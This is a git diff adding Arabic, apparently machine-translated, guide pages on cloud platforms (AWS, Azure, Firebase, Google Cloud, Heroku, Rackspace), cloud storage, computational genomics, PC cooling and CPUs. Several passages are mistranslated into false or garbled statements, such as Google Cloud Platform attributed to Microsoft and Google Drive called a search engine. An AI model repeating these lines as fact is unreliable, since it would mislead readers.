+*   "DynamoDB Core Components" من [AWS DynamoDB Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/HowItWorks.CoreComponents.html?shortFooter=true)
\ No newline at end of file
diff --git a/client/src/guide/arabic/cloud-development/amazon-aws/index.md b/client/src/guide/arabic/cloud-development/amazon-aws/index.md
new file mode 100644
index 0000000000..0d9e0f0631
--- /dev/null
+++ b/client/src/guide/arabic/cloud-development/amazon-aws/index.md
@@ -0,0 +1,49 @@
+---
+title: Amazon Web Services
+localeTitle: خدمات الويب الأمازون
+---
+## خدمات الويب الأمازون
+
+أما Amazon Web Services أو AWS اختصارًا ، فهي شركة تابعة لـ Amazon.com توفر منصات حوسبة سحابية عند الطلب للأفراد والشركات والحكومات على أساس الاشتراك المدفوع مع خيار مجاني متوفر لمدة 12 شهرًا. ويعتبر هذا بالإضافة إلى Azure و Cloud Platform من Microsoft الثلاثة الرئيسية الباعة سحابة العامة.
+
+تسمح هذه التقنية للمشتركين بتجهيز مجموعة افتراضية كاملة من أجهزة الكمبيوتر ، وهي متوفرة طوال الوقت عبر الإنترنت. نسخة AWS من تمتلك أجهزة الكمبيوتر الظاهرية معظم سمات الكمبيوتر الحقيقي بما في ذلك الأجهزة (CPU (s) & GPU (s) للمعالجة ، ذاكرة الوصول العشوائي (RAM) المحلية ، تخزين القرص الصلب / SSD) ؛ خيار أنظمة التشغيل الربط الشبكي؛ وبرامج التطبيقات المحملة مسبقًا مثل خوادم الويب وقواعد البيانات وإدارة علاقات العملاء ، إلخ. يعمل كل نظام AWS أيضًا على افتراضية وحدة التحكم في الإدخال / الإخراج (لوحة المفاتيح ، العرض ، والماوس) ، مما يسمح لمشتركي AWS بالاتصال بنظام AWS الخاص بهم من أي مكان في العالم باستخدام متصفح حديث. يعمل المتصفح كنافذة في الكمبيوتر الافتراضي ، مما يسمح للمشتركين بتسجيل الدخول وتكوين واستخدام الأنظمة الافتراضية الخاصة بهم تمامًا كما يفعلون مع الكمبيوتر الفعلي الحقيقي.
+
+يمكن للمشتركين اختيار نشر أنظمة AWS الخاصة بهم لتوفير خدمات تستند إلى الإنترنت لمصلحتهم ومزايا عملائهم. منذ الأفراد أو المنظمات باستخدام AWS لا تملك البنية التحتية AWS فعليًا ، فلا يتعين عليهم التعامل مع بعض مهام الصيانة المرتبطة بامتلاك مركز بيانات فعلي مثل تشغيل معدات الشبكات.
+
+AWS على وجه الخصوص كما تم التوسع في عروض السحابية الخاصة بهم. إنهم يقدمون خدمات مبتكرة مثل AWS Lambda ، حيث يحتاج المستخدمون فقط إلى التركيز عليها كتابة رمز وليس على الخوادم التي سيتم تشغيل التعليمات البرمجية الخاصة بهم (مما أدى إلى حركة جديدة _serverless_ ). نتيجة لهذه الفوائد ، والحوسبة السحابية منصات مثل AWS تحظى بشعبية كبيرة بين الشركات الناشئة التي قد تكون في البداية أقل من رأس المال للاستثمار في تكنولوجيا المعلومات أو تكنولوجيا المعلومات. بدلا من ذلك ، يمكنهم التركيز على بناء منتجات رائعة لمستخدميها وتنمية أعمالهم مع مرور الوقت مع نموذج AWS على الطلب.
+
+تشمل خدمات AWS الشعبية:
+
+*   الأجهزة الافتراضية عبر منصة EC2 (مرونة الحوسبة السحابية)
+*   قواعد البيانات بما في ذلك كل من SQL و NoSQL
+*   S3 (خدمة تخزين بسيطة)
+*   SQS (خدمة قائمة انتظار بسيطة)
+*   تطوير الألعاب عبر محرك تطوير ألعاب Amazon Lumberyard ومنصة الاستضافة اللاحقة.
+*   DynamoDB (قاعدة بيانات Amazon Dynamo)
+*   CloudWatch (المقاييس وأجهزة الإنذار)
+*   CodeDeploy (عمليات النشر)
+*   لامدا (بدون خادم)
+*   أدوات مراقبة التطبيق
+*   أدوات تطوير المحمول والمنصات
+*   منطقة تطوير الأمازون اليكسا
+
+#### شهادات AWS
+
+تقدم AWS العديد من الشهادات المختلفة للممارسين. هناك مستويات مختلفة لخزانات AWS وكذلك شهادات تستند إلى الأدوار. المستويات هي:
+
+*   التأسيسية
+*   مساعد
+*   المحترفين لكل دور هناك تلك المستويات الثلاثة.
+
+تتضمن هذه الأدوار:
+
+*   مهندس معماري
+*   مطور
+*   عمليات
+
+كما يقدم AWS شهادة أساسيات أساسية لمبدأ ABS Cloud Practitioner \* ذات الصلة بأي شخص بغض النظر عن دوره. خارج الأدوار القياسية هناك شهادات متخصصة لشبكات متقدمة ، البيانات الكبيرة ، والأمن.
+
+#### معلومات اكثر:
+
+*   [AWS](https://aws.amazon.com/)
+*   [الشهادات](https://aws.amazon.com/certification/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/cloud-development/application-frameworks/index.md b/client/src/guide/arabic/cloud-development/application-frameworks/index.md
new file mode 100644
index 0000000000..8c48d62aeb
--- /dev/null
+++ b/client/src/guide/arabic/cloud-development/application-frameworks/index.md
@@ -0,0 +1,23 @@
+---
+title: Application Frameworks
+localeTitle: أطر التطبيقات
+---
+## أطر التطبيقات
+
+إطار التطبيق هو برنامج جاهز للاستخدام لتشغيل التطبيقات. تتعامل إطارات التطبيقات مع المهام الشائعة التي تقوم بها معظم التطبيقات. توفر إطارات التطبيقات في وقت التطوير والصيانة ، نظرًا لأن العديد من موردي التطبيقات يجمعون الموارد لسبب مشترك. إطار التطبيق هو أكثر من مجموعة من المكونات المسماة. وهو يتضمن برنامجًا فريدًا يدمج مكوناته في نموذج أنظمة يبسط المهام الشائعة أو الصعبة أو المتكررة باستخدام مكتبات الكود القابل لإعادة الاستخدام. يحل كل إطار عمل من حلول المشكلات مع مجموعة فريدة من المكونات أو بطريقة فريدة - إدارة الموارد على سبيل المثال.
+
+### معلومات اكثر:
+
+[أطر التطبيقات (Wikipedia.org)](https://en.wikipedia.org/wiki/Application_framework)
+
+[أطر تطبيقات الويب (Wikipedia.org)](https://en.wikipedia.org/wiki/Web_framework)
+
+[إعادة استخدام الكود (Wikipedia.org)](https://en.wikipedia.org/wiki/Code_reuse)
+
+### مصادر
+
+[قائمة بأطر الإنترنت الغنية (Wikipedia.org)](https://en.wikipedia.org/wiki/List_of_rich_Internet_application_frameworks)
+
+[قائمة بأطر خدمة الويب (Wikipedia.org)](https://en.wikipedia.org/wiki/List_of_web_service_frameworks)
+
+[مقارنة بين أطر الويب (Wikipedia.org)](https://en.wikipedia.org/wiki/Comparison_of_web_frameworks)
\ No newline at end of file
diff --git a/client/src/guide/arabic/cloud-development/azure/index.md b/client/src/guide/arabic/cloud-development/azure/index.md
new file mode 100644
index 0000000000..a72857467f
--- /dev/null
+++ b/client/src/guide/arabic/cloud-development/azure/index.md
@@ -0,0 +1,29 @@
+---
+title: Azure
+localeTitle: أزرق سماوي
+---
+## مايكروسوفت أزور
+
+Microsoft Azure هي ميزة Microsoft cloud cloud العامة التي تمكّن الأفراد والمؤسسات من إنشاء خدمات البنية التحتية والخدمات المستندة إلى مجموعة النظراء ونشرها وتشغيلها. يوفر النظام الأساسي السحابي العام في Microsoft Azure خدمات IaaS و PaaS و SaaS للمؤسسات في جميع أنحاء العالم ويدعم العديد من لغات البرمجة والأدوات والأطر المختلفة ، بما في ذلك البرامج والأنظمة الخاصة بشركة Microsoft والجهات الخارجية.
+
+يمكن أيضًا استخدام Microsoft Azure بالاقتران مع العديد من حلول Microsoft ، مثل Microsoft System Center ، ويمكن الاستفادة منها معًا لتوسيع مركز البيانات الحالي الخاص بالمؤسسة إلى سحابة مختلطة تعمل على توسيع السعة وتوفر إمكانيات تتجاوز ما يمكن تسليمه فقط من خلال وجهة نظر المباني.
+
+### يستخدم لمايكروسوفت أزور
+
+تقدم Microsoft Azure العديد من الخدمات والموارد المتوفرة. على سبيل المثال ، يمكنك استخدام خدمات حساب Azure Virtual Machines لإنشاء شبكة من الخوادم الظاهرية لاستضافة تطبيق أو قاعدة بيانات أو حل مخصص ، والذي سيكون عرضًا قائمًا على IaaS.
+
+يمكن تصنيف الخدمات الأخرى كـ PaaS لأنه يمكنك استخدامها بدون الحفاظ على أنظمة التشغيل الأساسية. على سبيل المثال ، عند تشغيل موقع ويب في Azure Web Apps ، أو قاعدة بيانات SQL في قواعد بيانات Azure SQL ، ليس من الضروري التأكد من أنك تستخدم أحدث إصدار من خدمات معلومات الإنترنت (IIS) أو SQL وأن يكون لديك أحدث التصحيحات والتحديثات مثبتًا ، نظرًا لأن هذه هي مسؤولية النظام الأساسي لـ Microsoft Azure.
+
+ومن الأمثلة على خدمة SaaS في Microsoft Azure جناح إدارة العمليات ، الذي تم إعداده والوصول إليه عبر خدمات Insational Operights. هنا ، تقوم فقط بإعداد أدوات الإدارة الخاصة بك والاتصال بالخدمات التي ترغب في إدارتها جميعًا من خلال Microsoft Azure ، لذلك لا يلزم وجود بنية أساسية محلية أو تحتاج إلى إدارتها.
+
+### البيئات
+
+توفر Azure ثروة من أنواع البيئة المختلفة عبر اللوحة بما في ذلك أنظمة التشغيل OS مثل Windows Server و Ubuntu Server ، وهناك عدد من المتغيرات التي يمكن اختيارها مثل Ubuntu 14.04 أو Ubuntu 16.10 ، مع القدرة على استخدام البيئات المذكورة إما عبر المدمج في Azure Web CLI أو SSH الوصول عبر العميل المفضل لديك.
+
+هناك مستويات مختلفة من "أحجام" الماكينة للاختيار من بينها ، تتراوح من أجهزة بسيطة منخفضة المواصفات إلى مربعات الضغط الثقيل المتعددة والمعتمدة على وحدات المعالجة المركزية المتعددة.
+
+#### معلومات اكثر:
+
+*   [ويكيبيديا](https://en.wikipedia.org/wiki/Microsoft_Azure)
+*   [مايكروسوفت أزور](https://azure.microsoft.com/en-us/)
+*   [تعلم مايكروسوفت](https://docs.microsoft.com/en-us/learn/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/cloud-development/cloud-storage/index.md b/client/src/guide/arabic/cloud-development/cloud-storage/index.md
new file mode 100644
index 0000000000..3f9018deda
--- /dev/null
+++ b/client/src/guide/arabic/cloud-development/cloud-storage/index.md
@@ -0,0 +1,28 @@
+---
+title: Cloud Storage
+localeTitle: سحابة التخزين
+---
+## التخزين كخدمة (StAAS)
+
+عندما نستخدم تخزين السحابة ، هذا هو StAAS. في هذا ، يحتوي النظام السحابي على سعة تخزين ويستخدم المستخدم هذا التخزين على نظامه ويمكنه استخدام ذلك لتخزين البيانات. يجب أن يكون للنظام السحابي القدرة على قياس التخزين. يمكننا دمج كل التخزين. على سبيل المثال ، إذا كان لدينا العديد من محركات أقراص القلم ، فيمكننا دمج جميع محركات أقراص القلم في مخزن واحد.
+
+هناك نوعان من التخزين
+
+1.  موضوع
+2.  منع
+
+### تخزين الكائن
+
+*   لا يمكننا إنشاء قسم في التخزين السحابي. يمكننا فقط تخزين الملفات والمجلدات هناك. يسمى هذا تخزين العناصر. لا يمكننا تثبيت نظام التشغيل هناك حيث لا توجد أقسام.
+*   **مثال**
+    *   Google Drive (محرك بحث Google ، GCE) ، OneDrive ، صندوق الإسقاط ، Microsoft azure.
+    *   الأمازون لديها AWS الخاصة بها الخدمة السحابية. S3 (خدمة التخزين البسيطة ، SSS) هي نتاج الأمازون التي توفر StAAS. إنها سحابة عامة. يمكن لأي شخص استخدام خدماته.
+    *   OpenStack هو أكبر سحابة خاصة. يحتوي OpenStack على منتج سريع (Object Storage).
+
+### كتلة التخزين
+
+*   إذا كان بإمكاننا إنشاء أقسام في وحدة التخزين المتوفرة ، فيمكننا تثبيت نظام التشغيل. لدينا قرص صلب ويمكننا إنشاء أقسام فيه ، ويعرف هذا النوع من التخزين باسم تخزين البلوك.
+*   **مثال**
+    *   خدمة تخزين بلوك AWS - EBS (تخزين بلوك مرن)
+    *   توفر السحابة مرفقًا لتدرج التخزين وهو خاصية مرنة للسحابة.
+    *   كتلة تخزين OpenStack - Cinder
\ No newline at end of file
diff --git a/client/src/guide/arabic/cloud-development/firebase/index.md b/client/src/guide/arabic/cloud-development/firebase/index.md
new file mode 100644
index 0000000000..ce8ea7b13d
--- /dev/null
+++ b/client/src/guide/arabic/cloud-development/firebase/index.md
@@ -0,0 +1,40 @@
+---
+title: Firebase
+localeTitle: Firebase
+---
+## Firebase
+
+![Firebase Logo](https://firebase.google.com/_static/558bc0d91d/images/firebase/lockup.png)
+
+### نظرة عامة
+
+تم الحصول على Firebase ، في شكله الأساسي ، بواسطة Google في تشرين الأول 2014. ومنذ ذلك الحين ، اشترت Google شركات إضافية أثنت على منتج Firebase الأصلي. تشكّل مجموعة أدوات البرامج هذه حاليًا التحديد الحالي لأدوات Firebase المتوفرة حاليًا.
+
+### ميزات Firebase الرئيسية
+
+يتم تجميع ميزات Firebase الرئيسية إلى 3 فئات:
+
+1.  **طور**
+    
+    *   المصادقة
+    *   قاعدة البيانات
+    *   تخزين
+    *   استضافة
+    *   وظيفة
+    *   مختبر اختبار
+    *   تحطم التقارير
+    *   أداء
+2.  **تنمو**
+    
+    *   إخطارات
+    *   التكوين عن بعد
+    *   روابط ديناميكية
+3.  **كسب**
+    
+    *   في AdMob
+
+#### معلومات اكثر:
+
+*   [Firebase](https://firebase.google.com/)
+*   [ويكيبيديا](https://en.wikipedia.org/wiki/Firebase)
+*   يمكنك [هنا](https://firebase.google.com/docs/samples/) العثور على أمثلة حول كيفية استخدام Firebase في مشاريعك.
\ No newline at end of file
diff --git a/client/src/guide/arabic/cloud-development/google-cloud-platform/index.md b/client/src/guide/arabic/cloud-development/google-cloud-platform/index.md
new file mode 100644
index 0000000000..cd92bd0e1b
--- /dev/null
+++ b/client/src/guide/arabic/cloud-development/google-cloud-platform/index.md
@@ -0,0 +1,23 @@
+---
+title: Google Cloud Platform
+localeTitle: Google Cloud Platform
+---
+## Google Cloud Platform
+
+Google Cloud Platform ، التي تقدمها Google ، هي مجموعة من خدمات الحوسبة السحابية التي تعمل على البنية الأساسية نفسها التي تستخدمها Google داخليًا لمنتجات المستخدم النهائي ، مثل بحث Google و YouTube. \[1\] إلى جانب مجموعة من أدوات الإدارة ، يوفر سلسلة من الخدمات السحابية النمطية بما في ذلك الحوسبة وتخزين البيانات وتحليلات البيانات والتعلم الآلي.
+
+بعض خدمات الويب الشهيرة تشمل
+
+*   Google Compute Engine - IaaS توفر الأجهزة الظاهرية.
+*   Google App Engine - PaaS لاستضافة التطبيق.
+*   Bigtable - IaaS قاعدة بيانات NoSQL قابلة للتوسع على نطاق واسع.
+*   BigQuery - SaaS تحليلات قاعدة بيانات واسعة النطاق.
+*   Google Cloud Functions - اعتبارًا من آب 2017 ، في الاختبار التجريبي. تعمل خدمة FaaS على توفير وظائف بدون خادم من خلال أحداث السحاب.
+*   Google Cloud Datastore - يوفر DBaaS قاعدة بيانات موجهة للمستندات.
+*   Cloud Pub / Sub - خدمة للنشر والاشتراك في تدفقات البيانات والرسائل. يمكن للتطبيقات التواصل عبر Pub / Sub ، دون التكامل المباشر بين التطبيقات نفسها. \[5\]
+*   Google Storage - يقوم IaaS بتوفير تخزين RESTful على الإنترنت وتخزينه.
+
+#### معلومات اكثر:
+
+*   [Google Cloud Platform Documentation](https://cloud.google.com/docs/)
+*   [ويكيبيديا](https://en.wikipedia.org/wiki/Google_Cloud_Platform)
\ No newline at end of file
diff --git a/client/src/guide/arabic/cloud-development/heroku/index.md b/client/src/guide/arabic/cloud-development/heroku/index.md
new file mode 100644
index 0000000000..f6d3d6616f
--- /dev/null
+++ b/client/src/guide/arabic/cloud-development/heroku/index.md
@@ -0,0 +1,11 @@
+---
+ title: Heroku
+localeTitle: Heroku
+---
+\## هيروكو
+
+Heroku هي منصة سحابة كخدمة (PaaS) تدعم العديد من لغات البرمجة التي يتم استخدامها كنموذج نشر تطبيق الويب. Heroku ، واحدة من أول منصات السحاب ، تم تطويرها منذ يونيو 2007 ، عندما كانت تدعم فقط لغة برمجة Ruby ، ​​لكنها الآن تدعم Java و Node.js و Scala و Clojure و Python و PHP و Go. \[1\] \[ 2\] لهذا السبب ، يقال إن Heroku هو برنامج متعدد اللغات لأنه يسمح للمطور ببناء التطبيقات وتشغيلها وتوسيع نطاقها بطريقة مماثلة عبر جميع اللغات. تم الحصول على Heroku بواسطة Salesforce.com في عام 2010 مقابل 212 مليون دولار
+
+#### معلومات اكثر:
+
+*   [ويكيبيديا](https://en.wikipedia.org/wiki/Heroku)
\ No newline at end of file
diff --git a/client/src/guide/arabic/cloud-development/index.md b/client/src/guide/arabic/cloud-development/index.md
new file mode 100644
index 0000000000..43fe10de9c
--- /dev/null
+++ b/client/src/guide/arabic/cloud-development/index.md
@@ -0,0 +1,15 @@
+---
+title: Cloud Development
+localeTitle: تطوير السحابة
+---
+## تطوير السحابة
+
+تطوير السحابة هو استخدام ممارسات هندسة البرمجيات على مكونات البنية التحتية في تجمع الموارد المشترك. يمكن القيام بذلك بطرق متعددة ، داخل مركز البيانات الخاص بشركتك أو لمؤسساتك ، أو في مركز بيانات مشترك "عام" تملكه وتشغله جهة خارجية.
+
+تتمثل الخيارات الشائعة لمقدمي خدمة السحابة العامة في Amazon Web Services و Microsoft Azure و Google Compute Engine. يقوم هؤلاء المزودين بتشغيل مجموعات من مراكز البيانات الضخمة حيث يستهلك آلاف الأفراد والشركات والمؤسسات المختلفة هذه الموارد. ينطوي تشغيل السحابة على تمكين تقسيم هذه الموارد المشتركة لاستخدام هؤلاء المستخدمين المختلفين. يتم تتبع استهلاك الموارد (يشار إليه أيضًا بالقياس) ثم إرسال الفواتير إلى المستخدم اعتمادًا على المخطط المالي المختلف لموارد الحوسبة والشبكات والتخزين المختلفة التي يتم استهلاكها.
+
+يقال إن العديد من المواقع الحديثة والجهود الكبيرة في مجال البيانات يتم تطويرها في Cloud ، بمعنى أنها تعمل في بعض مراكز البيانات المشتركة الضخمة هذه.
+
+#### معلومات اكثر:
+
+[الابتداء مع AWS](https://aws.amazon.com/getting-started/) [وثائق سحابة جوجل](https://cloud.google.com/docs/) [الشروع في العمل مع مايكروسوفت أزور](https://docs.microsoft.com/en-us/azure/guides/developer/azure-developer-guide) [وثائق Firebase](https://firebase.google.com/docs/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/cloud-development/oss-frameworks/index.md b/client/src/guide/arabic/cloud-development/oss-frameworks/index.md
new file mode 100644
index 0000000000..568f10beec
--- /dev/null
+++ b/client/src/guide/arabic/cloud-development/oss-frameworks/index.md
@@ -0,0 +1,49 @@
+---
+title: Internet Applications
+localeTitle: تطبيقات الإنترنت
+---
+## تطبيقات الإنترنت
+
+![طبقات التكنولوجيا](https://upload.wikimedia.org/wikipedia/commons/9/9f/Linux_kernel_and_Computer_layers.png)
+
+### نظرة عامة
+
+تطبيقات الإنترنت هي تطبيقات يتم تمكينها عن طريق توصيل جهاز محلي بخادم تطبيقات بعيد أو خدمات سحابية. يتم تشغيل تطبيقات الإنترنت على أجهزة الكمبيوتر المكتبية والعملاء النحيلين مثل الأجهزة الذكية وأجهزة الإنترنت الأخرى. تستخدم أجهزة سطح المكتب عادةً مستعرضات الويب لتسهيل الاتصال. تستخدم الأجهزة الذكية إما متصفح ويب أو تطبيقًا مخصصًا أو تطبيقًا غنيًا بالإنترنت. تطبيقات الويب هي نوع من تطبيقات الإنترنت.
+
+### كومة كاملة
+
+تتكون تطبيقات الإنترنت من مجموعة كاملة من الطبقات. أحيانًا يتم تقسيم المكدس إلى جزئين أو طبقات: الواجهة الأمامية و النهاية الخلفية. ومع ذلك ، يتم تقسيم المكدس ، يتكون التطبيق من برنامج فريد لنفسه ، ومجموعة من البرامج التابعة. يتكون البرنامج المعتمد من المكتبات والبرامج الأخرى التي تقدم الخدمات.
+
+### Full Stack كنظام للأنظمة الفرعية
+
+تعتبر طريقة مفيدة لعرض كل مكون كجزء من نظام الأنظمة الفرعية ، حيث يكون كل نظام فرعي نظامًا من الأنظمة الفرعية. كقياس ، جسم الإنسان هو نظام من النظم الفرعية. يحتوي الجسم على جهاز مناعي ، ونظام فرعي هضمي ، ونظام فرعي عصبي ، ونظام فرعي عظمي ، ونظام فرعي عضلي ، وما شابه. الجهاز الهضمي يشمل النظام الفرعي للكبد الملقب "الكبد" على سبيل المثال. كل نظام فرعي هو نظام في مجال نشاطه أو وظيفته.
+
+### نهاية الجبهة من المكدس
+
+"Front End" هو البرنامج الفريد للتطبيق الذي ينفذ العمل على جهاز محلي. يحتوي الجهاز المحلي على جميع المكونات الوظيفية للكمبيوتر. تطبيقات البرامج المثبتة في نظام تشغيل يعمل على الأجهزة (أو الأجهزة الظاهرية التي تعمل على الأجهزة أو الأجهزة الظاهرية الأخرى.)
+
+### عودة نهاية المكدس
+
+"Back End" هو البرنامج الفريد للتطبيق الذي ينفذ العمل على خادم بعيد. يحتوي الخادم البعيد على كافة المكونات الوظيفية للكمبيوتر: تطبيقات البرامج المثبتة في نظام تشغيل يعمل على الأجهزة (أو الأجهزة الظاهرية التي تعمل على الأجهزة أو الأجهزة الافتراضية الأخرى).
+
+### انحياز التطبيق إلى الواجهة الأمامية أو الخلفية
+
+ستميل التطبيقات التي تسعى إلى العمل باستمرار عبر الأجهزة أو تتطلب الأمان في تخزين البيانات والوصول إليها إلى الحصول على معظم منطق الأعمال في النهاية الخلفية. ويرجع ذلك إلى أن البرامج في Front End تخضع لكثير من طرق الهجوم من العوامل الضارة مثل الفيروسات والبرامج الضارة والتهديدات الداخلية المعروفة باسم "المتسللين داخل". أيضًا ، تعمل متصفحات الويب على توحيد تقديم محتوى الويب المرسل إلى الواجهة الأمامية.
+
+تعمل التطبيقات التي تسعى إلى السرعة والاستخدام الفعال لموارد المشروع على نقل أكبر قدر ممكن من البرامج إلى الواجهة الأمامية. من خلال نقل الموارد إلى الواجهة الأمامية ، يمكن للمشروع مشاركة موارد Back-End المحدودة مع المزيد من المستخدمين النهائيين.
+
+### خادم التطبيق
+
+يوفر خادم التطبيقات أو إطار البرنامج الاعتماديات الأساسية المطلوبة لتطبيق الإنترنت.
+
+### معلومات اكثر:
+
+[FreeCodeCamp كامل التنمية المكدس شهادة](https://guide.freecodecamp.org/meta/free-code-camp-full-stack-development-certification)
+
+[تطبيق الإنترنت الغني (Wikipedia.org)](https://en.wikipedia.org/wiki/Rich_Internet_application)
+
+[إطار البرنامج (Wikipeida.org)](https://en.wikipedia.org/wiki/Software_framework)
+
+[إطار عمل الويب (Wikipedia.org)](https://en.wikipedia.org/wiki/Web_framework)
+
+[خادم التطبيقات (Wikipedia.org)](https://en.wikipedia.org/wiki/Application_server)
\ No newline at end of file
diff --git a/client/src/guide/arabic/cloud-development/rackspace-cloud/index.md b/client/src/guide/arabic/cloud-development/rackspace-cloud/index.md
new file mode 100644
index 0000000000..45db02868d
--- /dev/null
+++ b/client/src/guide/arabic/cloud-development/rackspace-cloud/index.md
@@ -0,0 +1,9 @@
+---
+  title: Rackspace Cloud
+localeTitle: Rackspace الغيمة
+---
+\## Rackspace Cloud
+
+إن Rackspace Cloud عبارة عن مجموعة من منتجات وخدمات الحوسبة السحابية التي تتم فوترتها على أساس حوسبة المرافق من شركة Rackspace الأمريكية. تشمل العروض استضافة تطبيقات الويب أو النظام الأساسي كخدمة ("المواقع السحابية") ، التخزين السحابي ("الملفات السحابية") ، الخادم الافتراضي الخاص ("الخوادم السحابية") ، موازن التحميل ، قواعد البيانات ، النسخ الاحتياطي ، والمراقبة. #### معلومات اكثر:
+
+*   [ويكيبيديا](https://en.wikipedia.org/wiki/Rackspace_Cloud)
\ No newline at end of file
diff --git a/client/src/guide/arabic/computational-genomics/index.md b/client/src/guide/arabic/computational-genomics/index.md
new file mode 100644
index 0000000000..1c7e49fdd5
--- /dev/null
+++ b/client/src/guide/arabic/computational-genomics/index.md
@@ -0,0 +1,15 @@
+---
+title: Computational Genomics
+localeTitle: جينوم الحوسبة
+---
+# جينوم الحوسبة
+
+حقل جديد متخصص في تطوير خوارزميات جديدة من أجل دراسة الجينوم البشري.
+
+سيركز هذا القسم على هياكل البيانات المختلفة والخوارزميات التي يتم استخدامها والتي تم إنشاؤها لهذا الغرض من المصفوفات لاحقة إلى تسلسل المحاذاة.
+
+## الكتب للقراءة
+
+مقدمة في علم الجينوميات الحسابية من تأليف ماثيو و
+
+كتاب بداية رائع للمبتدئين
\ No newline at end of file
diff --git a/client/src/guide/arabic/computer-hardware/cooling/index.md b/client/src/guide/arabic/computer-hardware/cooling/index.md
new file mode 100644
index 0000000000..aab4420692
--- /dev/null
+++ b/client/src/guide/arabic/computer-hardware/cooling/index.md
@@ -0,0 +1,26 @@
+---
+title: Cooling Systems
+localeTitle: أنظمة التبريد
+---
+يحتوي الكمبيوتر الخاص بك على العديد من الأجزاء التي تولد الحرارة. الحرارة يمكن أن تسبب الفشل المبكّر والسلوكيات الخاطئة. كلما زادت سرعة تعطل الرسومات أو وحدة المعالجة المركزية ، كلما زاد تشغيل الكمبيوتر. تضمن أنظمة التبريد أن جهاز الكمبيوتر الخاص بك مستقر وأنك تطيل عمر استثمارك.
+
+## حالة التبريد
+
+يمكن أن يكون تبريد الحالة مزيجًا من حالة جيدة التهوية واستخدام المراوح لتدوير الهواء داخل العلبة. معظم الحالات تأتي مع مروحة واحدة على الأقل. هذا هو الحد الأدنى للتكوين. للحصول على أفضل النتائج ، يوجد مراوحان على الأقل في هذه الحالة. واحد هو كمقدار السحب في الهواء البارد بينما الآخر هو عادم لطرد الهواء الساخن. هناك العديد من أنواع مختلفة من المشجعين والتكوينات. تلعب إدارة الكابلات أيضًا دورًا كبيرًا في تبريد النظام. سوء إدارة الكابلات والأسلاك المتشابكة تعطل تدفق الهواء وتتسبب في تراكم الغبار داخل العلبة.
+
+## مكونات التبريد
+
+تتوفر أجهزة التبريد للأجزاء الفردية على الكمبيوتر. الاكثر شيوعا هما المبردات لبطاقات وحدة المعالجة المركزية والرسوم. هناك عموما نوعان من أنظمة التبريد المكونة ، النشطة والسلبية.
+
+*   الأنظمة السلبية - تتكون عادة من بالوعة حرارية أو معدن موصل حراري متصل بالمكون. يعمل التبريد السلبي من خلال توفير سطح أكبر للامتصاص وتبديد الحرارة.
+*   ؛ Active Systems - أضف مروحة إلى المشتت الحراري وأنت تقوم بإزالة الحرارة بشكل فعال. يمكن ضبط مروحة التبريد ديناميكيًا على حمل وحدة المعالجة المركزية أو بطاقة الرسومات على معظم اللوحات الرئيسية.
+*   التبريد السائل - يمكن لأجهزة الكمبيوتر عالية الأداء الاستفادة من نظام تبريد سائل. تقوم هذه الأنواع من الأنظمة بتعميم السائل بين المكونات الساخنة ومبرد التبريد.
+
+## اعتبارات بيئية
+
+*   حافظ على نظافته - يمكن للغبار أن يسد المراوح ، وأحواض الحرارة ، وأن يعمل طبقة من الطبقة العازلة. استخدام الهواء المضغوط للحفاظ على الغبار من التجويف الداخلي.
+*   يغطي القضية - على عكس ما تقرأه على الإنترنت ، فإن تغطية القضية تغطي جهاز الكمبيوتر يساعد على التبريد. غياب الغلاف يغطي عرقلة تدفق الهواء ويمكن أن يزيد الحرارة داخل العلبة. تهوية الغرف - حدد موقع الكمبيوتر حيث يكون محايدًا للسجلات البيئية للغرف. احتفظ بالكمبيوتر بعيداً عن سخانات الغرفة أو فتحات التهوية في جميع الأوقات.
+*   وضع الغرفة - حدد موقع الكمبيوتر بعيداً عن النوافذ أو مناطق التعرض لأشعة الشمس القوية. يمكن أن يؤدي وضع الخزانات أيضًا إلى تحديات التبريد.
+*   وضع بجانب أجهزة كمبيوتر أخرى - يتيح تحديد موقع الكمبيوتر بعيداً عن الأجهزة الأخرى تدفق الهواء داخل وخارج الكمبيوتر. يمكن وضع قريبة من المعدات الأخرى تقيد تدفق الهواء وزيادة الحرارة.
+
+[ويكيبيديا - المادة على تبريد الكمبيوتر](https://en.wikipedia.org/wiki/Computer_cooling)
\ No newline at end of file
diff --git a/client/src/guide/arabic/computer-hardware/cpu/index.md b/client/src/guide/arabic/computer-hardware/cpu/index.md
new file mode 100644
index 0000000000..048881f69c
--- /dev/null
+++ b/client/src/guide/arabic/computer-hardware/cpu/index.md
@@ -0,0 +1,31 @@
+---
+title: CPU
+localeTitle: وحدة المعالجة المركزية
+---
+## وحدة المعالجة المركزية
+
+وحدة المعالجة المركزية (CPU) بمثابة "الدماغ" لجهاز الكمبيوتر ، مما يسمح لها بأداء المهام الحسابية الأساسية.
+
+وحدات المعالجة المركزية (CPU) هي دوائر متكاملة ، وهي دوائر معقدة مضمنة على شريحة واحدة. وهي تشمل السجلات التي تخزن قيمًا مفردة ودبابيس الإدخال / الإخراج. تسمح هذه المسامير بالتحدث إلى باقي الكمبيوتر. نظرًا للتطور المستمر لتقنية وحدة المعالجة المركزية ، تستخدم العديد من أجهزة الكمبيوتر اليوم وحدة معالجة متعددة. تعد المعالجات المتعددة عبارة عن رقائق مفردة تحتوي على وحدتي أو أكثر من وحدات المعالجة المركزية (CPUs) أو "النوى" (Cores) التي تسمح بقدرات معالجة أكبر.
+
+يتم قياس سرعات وحدة المعالجة المركزية في جيجاهيرتز (جيجاهرتز). لكل جيجا هرتز من السرعة ، يمكن لوحدة المعالجة المركزية أداء مليار تعليمات في الثانية. هذه التعليمات بسيطة للغاية ، مثل "إضافة رقمين" أو "نقل هذا المتغير إلى هذا الموقع". لرؤية هذا في العمل ، اقرأ عن [لغة التجميع](https://en.wikipedia.org/wiki/Assembly_language) .
+
+Gigahertz ليس العامل الوحيد الذي يحدد السرعة الفعلية للمعالج ، حيث أن المعالجات المختلفة بنفس السرعة gigahertz (المعروفة أيضًا بسرعة الساعة) قد تؤدي مهام في العالم الحقيقي بسرعات مختلفة بسبب استخدام مجموعات مختلفة من التعليمات لتنفيذ هذه المهام . تسمى مجموعات التعليمات هذه هندسة CPU.
+
